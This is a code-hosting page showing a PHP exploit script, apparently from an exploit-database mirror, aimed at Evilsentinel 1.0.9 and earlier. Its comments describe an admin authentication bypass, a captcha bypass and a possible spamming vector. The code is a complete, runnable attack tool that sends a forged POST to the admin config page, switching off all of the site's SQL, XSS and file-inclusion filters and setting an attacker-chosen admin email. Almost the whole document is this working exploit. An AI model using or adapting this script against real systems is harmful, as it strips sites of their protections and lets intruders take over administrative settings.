PageRenderTime 54ms CodeModel.GetById 27ms RepoModel.GetById 0ms app.codeStats 0ms

/exploits/php/webapps/4884.php

https://bitbucket.org/DinoRex99/exploit-database
PHP | 148 lines | 101 code | 12 blank | 35 comment | 17 complexity | 9209f14da3a8fd9e77eba7b9a6a95fc1 MD5 | raw file
Possible License(s): GPL-2.0
  1. #!/usr/bin/php -q -d short_open_tag=on
  2. <?
  3. echo '
  4. Evilsentinel <= 1.0.9 Disable Exploit
  5. by BlackHawk <hawkgotyou@gmail.com> <http://itablackhawk.altervista.org>
  6. Thanks to rgod for the php code and Marty for the Love
  7. ';
  8. if ($argc<3) {
  9. echo "Usage: php ".$argv[0]." Host Path [new_mail]
  10. Host: target server (ip/hostname)
  11. Path: path of Evilsentinel
  12. new_mail: optional, specify a new admin mail
  13. Example:
  14. php ".$argv[0]." localhost / ";
  15. die;
  16. }
  17. /*
  18. Vendor site: http://evilsentinel.altervista.org
  19. Explanation:
  20. I've done a quick research on this platform.. just pen-tested it, not tested..
  21. I have found some problems that affect this script:
  22. 1 - Admin bypass:
  23. admin/index.php, line 13:
  24. if( !es_islogged() ){
  25. header( "Location: login.php" );
  26. }
  27. really need an explanation? 0_o
  28. 2 - captcha bypass
  29. admin/config.php, line 40:
  30. if( $_POST['es_security_captcha'] == $_SESSION["es_security_captcha"] )
  31. simply do not call the file captcha.php, and do not set a post variable named 'es_security_captcha' to bypass
  32. 3 - spamming/anon mailing (not tested)
  33. while into the ACP you can set a new mail for the admin.. putting the mail you want and attacking the site
  34. with special forged HTTP_USER_AGENT headers you can send a mail with (also) the text you want
  35. BlackHawk <hawkgotyou@gmail.com>
  36. */
  37. error_reporting(0);
  38. ini_set("max_execution_time",0);
  39. ini_set("default_socket_timeout",5);
  40. function quick_dump($string)
  41. {
  42. $result='';$exa='';$cont=0;
  43. for ($i=0; $i<=strlen($string)-1; $i++)
  44. {
  45. if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
  46. {$result.=" .";}
  47. else
  48. {$result.=" ".$string[$i];}
  49. if (strlen(dechex(ord($string[$i])))==2)
  50. {$exa.=" ".dechex(ord($string[$i]));}
  51. else
  52. {$exa.=" 0".dechex(ord($string[$i]));}
  53. $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  54. }
  55. return $exa."\r\n".$result;
  56. }
  57. $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
  58. function sendpacketii($packet)
  59. {
  60. global $proxy, $host, $port, $html, $proxy_regex;
  61. if ($proxy=='') {
  62. $ock=fsockopen(gethostbyname($host),$port);
  63. if (!$ock) {
  64. echo 'No response from '.$host.':'.$port; die;
  65. }
  66. }
  67. else {
  68. $c = preg_match($proxy_regex,$proxy);
  69. if (!$c) {
  70. echo 'Not a valid proxy...';die;
  71. }
  72. $parts=explode(':',$proxy);
  73. echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
  74. $ock=fsockopen($parts[0],$parts[1]);
  75. if (!$ock) {
  76. echo 'No response from proxy...';die;
  77. }
  78. }
  79. fputs($ock,$packet);
  80. if ($proxy=='') {
  81. $html='';
  82. while (!feof($ock)) {
  83. $html.=fgets($ock);
  84. }
  85. }
  86. else {
  87. $html='';
  88. while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
  89. $html.=fread($ock,1);
  90. }
  91. }
  92. fclose($ock);
  93. }
  94. $host=$argv[1];
  95. $path=$argv[2];
  96. if (isset($argv[3]))
  97. {
  98. $mail=$argv[3];
  99. }
  100. else
  101. {
  102. $mail = 'someone@somwhat.somewhere';
  103. }
  104. $port=80;
  105. $proxy="";
  106. if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
  107. if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
  108. echo "Deactivating the system..\r\n";
  109. $data="get_filter=0&post_filter=0&cookie_filter=0&xss_filter=0&rfi_filter=0&lfi_filter=0&sql_filter=0&email_notify=1&notify_email=$mail&referer_filter=0&referer_trigger=&ex_list=&ip_tracking=0&confirm=obviously";
  110. $packet="POST ".$p."admin/index.php?action=config HTTP/1.0\r\n";
  111. $packet.="Accept-Encoding: gzip, deflate\r\n";
  112. $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
  113. $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
  114. $packet.="Host: $host\r\n";
  115. $packet.="Content-Length: ".strlen($data)."\r\n";
  116. $packet.="Connection: Close\r\n";
  117. $packet.="Cache-Control: no-cache\r\n\r\n";
  118. $packet.=$data;
  119. sendpacketii($packet);
  120. echo "Evilsentinel is off\r\n";
  121. ?>
  122. # milw0rm.com [2008-01-10]